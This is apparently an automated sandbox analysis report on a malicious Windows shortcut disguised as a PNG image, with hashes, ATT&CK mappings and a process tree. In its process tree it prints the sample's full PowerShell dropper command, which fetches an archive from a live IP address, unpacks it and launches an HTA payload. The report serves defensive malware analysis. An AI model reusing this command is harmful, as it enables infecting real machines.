b2e7a3022632bed225763f5b5678db00032999a013bd70abcbe134c334f9a831

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 18:52

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General

Target

package1107.png.lnk
Size

3KB
MD5

1710c8b7256fa77140ac76ee970a7ffd
SHA1

2e316969780e70903d1a7c200a587c7cfacb871d
SHA256

b2e7a3022632bed225763f5b5678db00032999a013bd70abcbe134c334f9a831
SHA512

bd8e7191889061fe364b2f76cd67660c02a5984f0ff88650081303fe24e6224b35606ff7cca6cf8fdff80f334c0e3ca55b25345848016f8ac7d800d3c866c0b7

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://94.154.172.166/wvqv/ex.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3548	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3548	powershell.exe
3548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3548	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4388 wrote to memory of 2004	4388	cmd.exe	82
PID 4388 wrote to memory of 2004	4388	cmd.exe	82
PID 2004 wrote to memory of 3548	2004	cmd.exe	83
PID 2004 wrote to memory of 3548	2004	cmd.exe	83

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\package1107.png.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -command "$url='http://94.154.172.166/wvqv/ex.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\ex.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\ex.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\ex.hta'){Start-Process 'C:\Users\Public\ex.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\ex.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$url='http://94.154.172.166/wvqv/ex.png';$path='C:\Users\Public\';Invoke-WebRequest -Uri $url -OutFile \"C:\Users\Admin\Downloads\ex.zip\";Expand-Archive -Path \"C:\Users\Admin\Downloads\ex.zip\" -DestinationPath $path;while($true){if(Test-Path 'C:\Users\Public\ex.hta'){Start-Process 'C:\Users\Public\ex.hta';break}else{Start-Sleep 0.5}};Remove-Item -Path \"C:\Users\Admin\Downloads\ex.zip\" -Force;taskkill /F /IM msedge.exe;taskkill /F /IM cmd.exe"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bzjff1og.jhl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3548-0-0x00007FFE5AE83000-0x00007FFE5AE85000-memory.dmp

Filesize
8KB

Download
memory/3548-1-0x000001BBF32F0000-0x000001BBF3312000-memory.dmp

Filesize
136KB

Download
memory/3548-11-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-12-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-13-0x00007FFE5AE83000-0x00007FFE5AE85000-memory.dmp

Filesize
8KB

Download
memory/3548-14-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-15-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-16-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-17-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download
memory/3548-18-0x00007FFE5AE80000-0x00007FFE5B941000-memory.dmp

Filesize
10.8MB

Download